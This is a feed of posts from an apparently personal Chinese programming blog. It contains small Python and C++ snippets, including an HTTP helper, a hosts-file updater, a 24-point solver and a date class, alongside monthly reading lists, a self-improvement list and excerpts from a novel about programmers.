<span class="n">data</span> <span class="o">=</span> <span class="n">simplejson</span><span class="p">.</span><span class="n">dumps</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">def</span> <span class="nf">_prepare_data</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
<span class="k">if</span> <span class="nb">type</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="ow">is</span> <span class="nb">str</span> <span class="ow">or</span> <span class="n">data</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">urlencode</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">except</span><span class="p">(</span><span class="nb">Exception</span><span class="p">)</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">traceback</span><span class="p">.</span><span class="n">print_exc</span><span class="p">()</span>
<span class="k">raise</span> <span class="n">JhhttpError</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">return</span> <span class="n">data</span>
<span class="k">def</span> <span class="nf">_open</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="k">if</span> <span class="n">headers</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
<span class="n">headers</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">req</span> <span class="o">=</span> <span class="n">RequestWithMethod</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
<span class="n">response</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">req</span><span class="p">)</span>
<span class="k">except</span><span class="p">(</span><span class="nb">Exception</span><span class="p">)</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">traceback</span><span class="p">.</span><span class="n">print_exc</span><span class="p">()</span>
<span class="k">raise</span> <span class="n">JhhttpError</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">return</span> <span class="n">response</span>
<span class="k">def</span> <span class="nf">_return</span><span class="p">(</span><span class="n">response</span><span class="p">,</span> <span class="n">response_type</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">content</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">except</span><span class="p">(</span><span class="nb">Exception</span><span class="p">)</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">traceback</span><span class="p">.</span><span class="n">print_exc</span><span class="p">()</span>
<span class="k">raise</span> <span class="n">JhhttpError</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">content</span><span class="p">:</span>
<span class="k">return</span> <span class="bp">None</span>
<span class="k">if</span> <span class="n">response_type</span> <span class="ow">is</span> <span class="s">'json'</span><span class="p">:</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">simplejson</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">content</span><span class="p">)</span>
<span class="k">except</span><span class="p">(</span><span class="nb">Exception</span><span class="p">)</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="n">traceback</span><span class="p">.</span><span class="n">print_exc</span><span class="p">()</span>
<span class="k">raise</span> <span class="n">JhhttpError</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">content</span>
<span class="k">return</span> <span class="n">ret</span>
<span class="k">def</span> <span class="nf">_check</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">):</span>
<span class="k">if</span> <span class="n">headers</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> <span class="ow">and</span> <span class="nb">type</span><span class="p">(</span><span class="n">headers</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="nb">dict</span><span class="p">:</span>
<span class="k">raise</span> <span class="n">JhhttpError</span><span class="p">(</span><span class="s">'headers is not a dict'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">_do_http</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">headers</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">method</span><span class="o">=</span><span class="s">'GET'</span><span class="p">,</span> <span class="n">response_type</span><span class="o">=</span><span class="s">'text'</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">_check</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="n">_open</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="n">_return</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">response_type</span><span class="p">)</span>
<span class="k">except</span><span class="p">(</span><span class="n">JhhttpError</span><span class="p">)</span><span class="k">as</span> <span class="n">e</span><span class="p">:</span>
<span class="k">print</span><span class="p">(</span><span class="s">'JhhttpError, url = %s'</span> <span class="o">%</span> <span class="n">url</span><span class="p">)</span>
<span class="n">ret</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">return</span> <span class="n">ret</span>
<span class="k">def</span> <span class="nf">send</span><span class="p">(</span><span class="n">method</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="bp">None</span><span class="p">):</span>
<span class="n">method</span> <span class="o">=</span> <span class="n">method</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
<span class="k">if</span> <span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">_prepare_data</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">return</span> <span class="n">_do_http</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="s">'text'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">rest_send</span><span class="p">(</span><span class="n">method</span><span class="p">,</span> <span class="n">url</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="n">headers</span> <span class="o">=</span> <span class="bp">None</span><span class="p">):</span>
<span class="n">method</span> <span class="o">=</span> <span class="n">method</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
<span class="n">headers</span> <span class="o">=</span> <span class="n">_restful_headers</span><span class="p">(</span><span class="n">headers</span><span class="p">)</span>
<span class="k">if</span> <span class="n">method</span> <span class="o">==</span> <span class="s">'GET'</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">else</span><span class="p">:</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">_restful_data</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>
<span class="k">return</span> <span class="n">_do_http</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">headers</span><span class="p">,</span> <span class="n">method</span><span class="p">,</span> <span class="s">'json'</span><span class="p">)</span>
<span class="c1">#-------------test------------#
</span><span class="k">print</span><span class="p">(</span><span class="n">rest_send</span><span class="p">(</span><span class="s">'get'</span><span class="p">,</span> <span class="s">"http://ip.taobao.com/service/getIpInfo.php?ip=124.31.34.190"</span><span class="p">))</span></code></pre></figure>
<p>#END</p>
Windows下hosts更新
2015-01-05T00:00:00+00:00
http://fish267.github.io/2015/01/05/windows-hosts
<p>得益于这个网站的更新,http://www.360kb.com/kb/2_122.html</p>
<p>手写了一个脚本,就不必手动复制粘贴了,需要设置一下hosts的权限,否则无法修改。</p>
<p>代码:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">sys</span><span class="p">,</span> <span class="n">os</span>
<span class="kn">import</span> <span class="nn">urllib.request</span><span class="p">,</span> <span class="n">re</span>
<span class="n">url</span> <span class="o">=</span> <span class="s">"http://www.360kb.com/kb/2_122.html"</span>
<span class="n">html_content</span> <span class="o">=</span> <span class="n">urllib</span><span class="p">.</span><span class="n">request</span><span class="p">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">frase</span> <span class="o">=</span> <span class="s">r'#base services.*2015 end'</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="n">frase</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">html_content</span><span class="p">)).</span><span class="n">group</span><span class="p">()</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">ip</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"&nbsp;"</span><span class="p">,</span> <span class="s">' '</span><span class="p">)</span>
<span class="n">ip</span> <span class="o">=</span> <span class="n">ip</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="s">"<br />"</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'C:\Windows\System32\drivers\etc\hosts'</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">''</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">ip</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">'</span><span class="se">\\</span><span class="s">n'</span><span class="p">)[:</span><span class="o">-</span><span class="mi">10</span><span class="p">]:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'C:\Windows\System32\drivers\etc\hosts'</span><span class="p">,</span> <span class="s">'a+'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">t</span> <span class="o">+</span> <span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'C:\Windows\System32\drivers\etc\hosts'</span><span class="p">,</span> <span class="s">'r'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">read</span><span class="p">())</span></code></pre></figure>
<p>#END</p>
24点
2015-01-05T00:00:00+00:00
http://fish267.github.io/2015/01/05/24
<p>今天在啄木鸟社区阅读FP相关的文章,wiki.woodpecker.org.cn/moin/fp4python。
在最后,作者写了一个24点计算程序,挺好玩的。</p>
<p>但是算法不是很完整,我在百度Python贴吧上发现了一个比较犀利的程序段,更改了一下。
程序如下:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="kn">import</span> <span class="nn">itertools</span>
<span class="n">formatList</span> <span class="o">=</span> <span class="p">[</span><span class="s">"((%f%s%f)%s%f)%s%f"</span><span class="p">,</span> <span class="s">"(%f%s%f)%s(%f%s%f)"</span><span class="p">,</span>
<span class="s">"(%f%s(%f%s%f))%s%f"</span><span class="p">,</span> <span class="s">"%f%s(%f%s%f%s%f)"</span><span class="p">,</span>
<span class="s">"%f%s(%f%s(%f%s%f))"</span><span class="p">]</span>
<span class="n">opList</span> <span class="o">=</span> <span class="n">itertools</span><span class="p">.</span><span class="n">product</span><span class="p">([</span><span class="s">'+'</span><span class="p">,</span> <span class="s">'-'</span><span class="p">,</span> <span class="s">'*'</span><span class="p">,</span> <span class="s">'/'</span><span class="p">],</span> <span class="n">repeat</span> <span class="o">=</span> <span class="mi">3</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">match24</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span> <span class="n">nums</span><span class="p">,</span> <span class="n">ops</span><span class="p">):</span>
<span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">d</span> <span class="o">=</span> <span class="n">nums</span>
<span class="n">op1</span><span class="p">,</span> <span class="n">op2</span><span class="p">,</span> <span class="n">op3</span> <span class="o">=</span> <span class="n">ops</span>
<span class="n">expr</span> <span class="o">=</span> <span class="n">fmt</span> <span class="o">%</span> <span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">op1</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">op2</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">op3</span><span class="p">,</span> <span class="n">d</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">res</span> <span class="o">=</span> <span class="nb">eval</span><span class="p">(</span><span class="n">expr</span><span class="p">)</span>
<span class="k">except</span> <span class="nb">ZeroDivisionError</span><span class="p">:</span>
<span class="k">return</span>
<span class="k">if</span> <span class="nb">abs</span><span class="p">(</span><span class="n">res</span> <span class="o">-</span> <span class="mi">24</span><span class="p">)</span> <span class="o"><</span> <span class="mf">0.0001</span><span class="p">:</span>
<span class="k">print</span> <span class="n">expr</span><span class="p">,</span> <span class="s">"= 24"</span>
<span class="k">def</span> <span class="nf">calc</span><span class="p">(</span><span class="n">numlist</span><span class="p">):</span>
<span class="k">for</span> <span class="n">op</span> <span class="ow">in</span> <span class="n">opList</span><span class="p">:</span>
<span class="k">for</span> <span class="n">fmt</span> <span class="ow">in</span> <span class="n">formatList</span><span class="p">:</span>
<span class="n">match24</span><span class="p">(</span><span class="n">fmt</span><span class="p">,</span> <span class="n">numlist</span><span class="p">,</span> <span class="n">op</span><span class="p">)</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
<span class="n">nums</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">"please input four numbers:</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">seq</span> <span class="o">=</span> <span class="p">[</span><span class="nb">float</span><span class="p">(</span><span class="n">i</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">nums</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">itertools</span><span class="p">.</span><span class="n">permutations</span><span class="p">(</span><span class="n">seq</span><span class="p">):</span>
<span class="n">calc</span><span class="p">(</span><span class="n">l</span><span class="p">)</span></code></pre></figure>
<p>#END</p>
十二月份书单
2014-12-22T00:00:00+00:00
http://fish267.github.io/2014/12/22/readlist
<p>这个月看的书,列个单子,马上接近毕业了,我的学生生涯!珍惜最后的时光,学生时代真是美好~~</p>
<ol>
<li>
<p>《周鸿祎自述 : 我的互联网方法论》 周鸿祎</p>
</li>
<li>
<p>《人月神话》 弗雷德里克·布鲁克斯</p>
</li>
<li>
<p>《我所理解的生活》 韩寒</p>
</li>
<li>
<p>《参与感 : 小米口碑营销内部手册》 黎万强</p>
</li>
<li>
<p>《淘宝技术这十年》 子柳</p>
</li>
<li>
<p>《第七天》 余华</p>
</li>
<li>
<p>《如果一切重来》 马克·李维</p>
</li>
<li>
<p>《我的帝王生涯》 苏童</p>
</li>
<li>
<p>《借我一生》 余秋雨</p>
</li>
<li>
<p>《看见》 柴静</p>
</li>
</ol>
毛病列表
2014-12-01T00:00:00+00:00
http://fish267.github.io/2014/12/01/new-plan
<p>最近反思了不少,罗列下自己的不足,尽量在一年或者一生中改善一下:</p>
<ol>
<li>
<p>胖</p>
</li>
<li>
<p>懒</p>
</li>
<li>
<p>执行力低</p>
</li>
<li>
<p>作息不规律</p>
</li>
<li>
<p>知识面狭窄</p>
</li>
<li>
<p>专业技能不强悍</p>
</li>
<li>
<p>路痴</p>
</li>
<li>
<p>记不住人的姓名</p>
</li>
<li>
<p>英语不好</p>
</li>
<li>
<p>不擅长精彩赞美</p>
</li>
</ol>
<p>改变一下自己,我想在几个月之内,删除上面的一半吧,加油!</p>
<p>#END</p>
十一月书单
2014-11-30T00:00:00+00:00
http://fish267.github.io/2014/11/30/readlist
<p>时间好快,恍惚之间,这个月的最后一天,还没有31号,今年最后一个月好好迎接!</p>
<table>
<thead>
<tr>
<th>书名</th>
<th style="text-align: center">作者</th>
</tr>
</thead>
<tbody>
<tr>
<td>《人生元编程》</td>
<td style="text-align: center">池建强</td>
</tr>
<tr>
<td>《大漠苍狼:绝地勘探》</td>
<td style="text-align: center">南派三叔</td>
</tr>
<tr>
<td>《北京,北京》</td>
<td style="text-align: center">冯唐</td>
</tr>
<tr>
<td>《不二》</td>
<td style="text-align: center">冯唐</td>
</tr>
<tr>
<td>《再美也美不过想象》</td>
<td style="text-align: center">耀一</td>
</tr>
<tr>
<td>《大漠苍狼:绝密飞行》</td>
<td style="text-align: center">南派三叔</td>
</tr>
<tr>
<td>《黑客与画家》</td>
<td style="text-align: center">Paul Graham</td>
</tr>
<tr>
<td>《我们仨》</td>
<td style="text-align: center">杨绛</td>
</tr>
<tr>
<td>《棋王》</td>
<td style="text-align: center">阿城</td>
</tr>
</tbody>
</table>
十月份书单
2014-10-28T00:00:00+00:00
http://fish267.github.io/2014/10/28/books
<p>这个月看的书,列个单子,没几天了,好好憋论文!</p>
<p>按照由高到低的影响顺序:</p>
<p>《穿布鞋的马云》 王利芬</p>
<p>《世界因你而不同》 李开复</p>
<p>《哈佛凌晨两点半》 李上卿</p>
<p>《疯狂的程序员》 绝影</p>
<p>《架构师》 InfoQ</p>
<p>《万物刹那间永恒》 吉米·哈利</p>
<p>《少林很忙》 马修·波利</p>
<p>《青春志》 易中天</p>
<p>《北京教父》 王山</p>
<p>《代码未来》在读 松本行弘</p>
《疯狂的程序员》
2014-10-06T00:00:00+00:00
http://fish267.github.io/2014/10/06/crazy-programmer
<p>刚读完《疯狂的程序员》,发现有了Kindle后,阅读量比以前翻了数十倍。刚才查看这本书的评论时,才知道作者被抓了。写外挂被TX起诉,挺惋惜的,很多年过去了,希望作者一切安好,做了些摘抄,感慨一下。</p>
<!--more-->
<p>”
三天后绝影去了那公司。去的时候带了本《C++ Builder入门与提高》,这书也是从西南科技书店买的。他对老杨说:“C++ Builder已经没问题了,可以开工了。”</p>
<p>其实绝影自己都没想到才三天时间,他就可以从什么都不懂变成“没有问题”。所以有时候人的技术啊,知识啊也许并不是学出来的,是逼出来的。比如你去考软件设计师,本来至少有半年的时间来准备,可以那编译原理里面什么词法分析语法分析什么正则表达式啊看得你头都大了,这很正常,毕竟你是数学专业的就不是计算机专业的,是计算机专业的就不是数学专业的,甚至你跟这两个专业都不沾边。最后想算了还是放弃了,反正考试还有那么多内容,其它的学好点,一样能过。后来工作了,有一天,你BOSS跟你说:“小张啊,你从来没让我们失望过啊,最近很多程序员反应咱们那编译器不好用,你看干脆咱们自己开发个编译器算了。给你一个月时间够了吧,你可从来没让我们失望过啊。”他这么一说,尽管在那一个月中你每天都在心中骂他,可最后你自己都吓了一跳――居然还是把编译器给搞出来了。就这么一个月的时间逼一下,比那半年的效率都高得多。其实就算做不出来也没什么,做不出来很正常,做出来了你是牛人,这一个月要这么累死累活地工作是为什么?不是为了钱,是为了别人对你的信任和肯定。所以你骂完BOSS,偶尔回想起来也许你还是会感谢他的。</p>
<p>你说一个编译器里面有多少技术含量,论技术含量得值多少钱,可是你在公司还是只拿那么一点钱,最多BOSS再发给你2000块项目奖金。所以这样来看很多时候程序员工作真的不是为了钱,至少他在写那个程序的时候想得更多是如何去解决某个技术上的难题,当然,东西做完一交他有可能马上就会想到:呓,我的钱呢?才这么一点?所以你就不难理解很多人――像燕儿这样的人,他们不能理解你甚至嘲笑你居然可以天天坐那写一分钱都赚不到的程序,并且还写得很快乐。</p>
<p>对程序员来说,大部分是从解决问题特别是独立解决问题中来的,不是从这个CASE有多大,奖金有多少中来的。
“</p>
<p>”
所以技术也是如此,现在你觉得自己很菜,到明年你的技术又会比今年有所提高,虽然你自己不怎么感觉到,但提高是是实实在在的。不怕人没长进,就怕人没耐心,等不到明年就打退堂鼓。
“</p>
<p>”
“这你就不懂了。管理,是大棒加胡萝卜。一味抡大棒是行不通的,只有两种结果:要么把他们抡死了,要么把他们打跑了。所以,适当的大棒后面还是要有胡萝卜,还是要以鼓励很肯定为主,员工做了什么东西出来,首先要肯定他的成绩,然后再指出他的问题。这样才容易让人接受,也容易让人信服阿。”</p>
<p>绝影点点头,对周总大棒加胡萝卜的理论佩服得五体投地。看来资本家确实是深喑管理之道,要没三板斧,他也没这个能耐把公司开下去。</p>
<p>不过绝影思想还是没资本家那样成熟,那大棒和胡萝卜的比喻到他这里便成了养狗。管理他懂得不多,养狗的经验是一套一套的。</p>
<p>这管理不就和养狗一个道理吗?狗儿,他是你的宠物,不得不说,你需要他给你带来精神上的享受,除非你是个虐待狂,你总得想着好好的把狗儿养好,给他吃好的好喝的,带他去散步,去洗澡,病了还得去医院。</p>
<p>一味这样就能把狗养好吗?不行,你还得教他,让他坐就得坐,让他趴下就得趴下,他不听话,你就得教育他,现在很多家里养狗,主人反而管不住狗儿,他到处胡乱撒野你要是训他他还吼你。
所以你还得打。要打就狠狠地打。你打轻了,他以为你又在逗他玩。你得狠狠地,总之就是让他知道,不听话就要你痛,要拔你皮,吃你肉。
所以归根结底,养狗也是大棒加胡萝卜一个道理,两手都要抓,都要硬。
“</p>
<p>”
“这个CASE,我想大家已经了解了一些吧。我们就是要做3G平台下的P2P视频点播。具体的技术细节我已经和绝影,小杨说过了。其实我对这个CASE的想法远远不止这么一点。第一步,我们要实现在线直播。第二步,要实现点播,这里面服务器架开发和架设是个重点,不过现在我们还不需要把重点放到这个上面。第三步,我们要做多人可视电话、现场视频会议。最终,我想让我们的系统遍布到生活的每一个角落。大到NSA抓捕拉登的反恐行动,奥运会现场直播,小到老太太给儿子打电话,男女同学躲在被窝里用电话谈恋爱,总之,我的理想是无处不在,无孔不入。”</p>
<p>SS Liu聊完。绝影开始整理P2P项目的代码,先把所有的项目Rebuild All,看那Visual Studio 8的Output窗口输出一行行信息,最后显示:0个错误,0个警告,全部重新生成:1 已成功,0 已失败,0 已跳过。在平时,这是最惬意的事情,没有什么比看到自己亲手写的代码连一点条警告都没有就通过编译再惬意的事情了。编译完了,再看看Release,12K多,和以前一样,还是这样大。然后再Clean All,关闭项目,打个包,注明日期和版本,最后全部拖到Backup目录里去。
绝影一边做这些,一边笑自己:明明最后都是要Clean All的,为什么还要去Rebuild一次?
然后他自己回答道:这样做,让我知道我可以创建它们。我可以把这一行行枯燥无味的代码变成丰富多彩的软件。程序员是值得尊当今,程序员的双手是魔术师般的双手。</p>
<p>”</p>
Kindle
2014-09-29T00:00:00+00:00
http://fish267.github.io/2014/09/29/kindle
<p>今天收到了人生中第一个Kindle,很是开心~</p>
<p>Kindle富一生呀!</p>
<p>#END</p>
MileStone
2014-09-19T00:00:00+00:00
http://fish267.github.io/2014/09/19/milestone
<p>杭州,明年见!</p>
<p>#END</p>
一个日期类-cpp
2014-08-17T00:00:00+00:00
http://fish267.github.io/2014/08/17/date-class
<p>设计一个日期类Date, 包括年月日,要求实现日期的基本运算, 如某个日期加上天数, 两个日期的间隔天数, 等。</p>
<p>在程序中重载下运算符,这样比较直观:</p>
<ul>
<li>Date operator+(int days)</li>
<li>Date operator-(int days)</li>
<li>int operator-(Date &d)</li>
</ul>
<p>私有成员函数:</p>
<ul>
<li>leap(int)</li>
<li>dton(Date &) 指定日期到0-0-0开始的天数</li>
<li>ntod(int) 将天数转换成日期</li>
</ul>
<!--more-->
<p>程序如下:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include<iostream>
#include<ctime>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">day_tab</span><span class="p">[</span><span class="mi">2</span><span class="p">][</span><span class="mi">12</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="p">{</span><span class="mi">31</span><span class="p">,</span> <span class="mi">28</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">},</span>
<span class="p">{</span><span class="mi">31</span><span class="p">,</span> <span class="mi">29</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">,</span> <span class="mi">30</span><span class="p">,</span> <span class="mi">31</span><span class="p">}</span> <span class="p">};</span>
<span class="k">class</span> <span class="nc">Date</span><span class="p">{</span>
<span class="nl">private:</span>
<span class="kt">int</span> <span class="n">year</span><span class="p">,</span> <span class="n">month</span><span class="p">,</span> <span class="n">day</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">leap</span><span class="p">(</span><span class="kt">int</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">dton</span><span class="p">(</span><span class="n">Date</span> <span class="o">&</span><span class="p">);</span>
<span class="n">Date</span> <span class="n">ntod</span><span class="p">(</span><span class="kt">int</span><span class="p">);</span>
<span class="nl">public:</span>
<span class="n">Date</span><span class="p">();</span>
<span class="n">Date</span><span class="p">(</span><span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="kt">int</span> <span class="n">m</span><span class="p">,</span> <span class="kt">int</span> <span class="n">d</span><span class="p">){</span> <span class="n">year</span> <span class="o">=</span> <span class="n">y</span><span class="p">;</span> <span class="n">month</span> <span class="o">=</span> <span class="n">m</span><span class="p">;</span> <span class="n">day</span> <span class="o">=</span> <span class="n">d</span><span class="p">;}</span>
<span class="kt">void</span> <span class="n">setday</span><span class="p">(</span><span class="kt">int</span> <span class="n">d</span><span class="p">){</span> <span class="n">day</span> <span class="o">=</span> <span class="n">d</span><span class="p">;}</span>
<span class="kt">void</span> <span class="n">setyear</span><span class="p">(</span><span class="kt">int</span> <span class="n">y</span><span class="p">){</span><span class="n">year</span> <span class="o">=</span> <span class="n">y</span><span class="p">;}</span>
<span class="kt">void</span> <span class="n">setmonth</span><span class="p">(</span><span class="kt">int</span> <span class="n">m</span><span class="p">){</span><span class="n">month</span> <span class="o">=</span> <span class="n">m</span><span class="p">;}</span>
<span class="kt">int</span> <span class="n">getday</span><span class="p">(){</span><span class="k">return</span> <span class="n">day</span><span class="p">;}</span>
<span class="kt">int</span> <span class="n">getyear</span><span class="p">(){</span><span class="k">return</span> <span class="n">year</span><span class="p">;}</span>
<span class="kt">int</span> <span class="n">getmonth</span><span class="p">(){</span><span class="k">return</span> <span class="n">month</span><span class="p">;}</span>
<span class="n">Date</span> <span class="k">operator</span><span class="o">+</span><span class="p">(</span><span class="kt">int</span> <span class="n">days</span><span class="p">){</span>
<span class="k">static</span> <span class="n">Date</span> <span class="n">date</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="n">dton</span><span class="p">(</span><span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="o">+</span> <span class="n">days</span><span class="p">;</span>
<span class="k">return</span> <span class="n">ntod</span><span class="p">(</span><span class="n">number</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">Date</span> <span class="k">operator</span><span class="o">-</span><span class="p">(</span><span class="kt">int</span> <span class="n">days</span><span class="p">){</span>
<span class="k">static</span> <span class="n">Date</span> <span class="n">date</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">number</span> <span class="o">=</span> <span class="n">dton</span><span class="p">(</span><span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="o">-</span> <span class="n">days</span><span class="p">;</span>
<span class="k">return</span> <span class="n">ntod</span><span class="p">(</span><span class="n">number</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="k">operator</span><span class="o">-</span><span class="p">(</span><span class="n">Date</span> <span class="o">&</span><span class="n">d</span><span class="p">){</span>
<span class="k">return</span> <span class="n">dton</span><span class="p">(</span><span class="o">*</span><span class="k">this</span><span class="p">)</span> <span class="o">-</span> <span class="n">dton</span><span class="p">(</span><span class="n">d</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="n">disp</span><span class="p">(){</span>
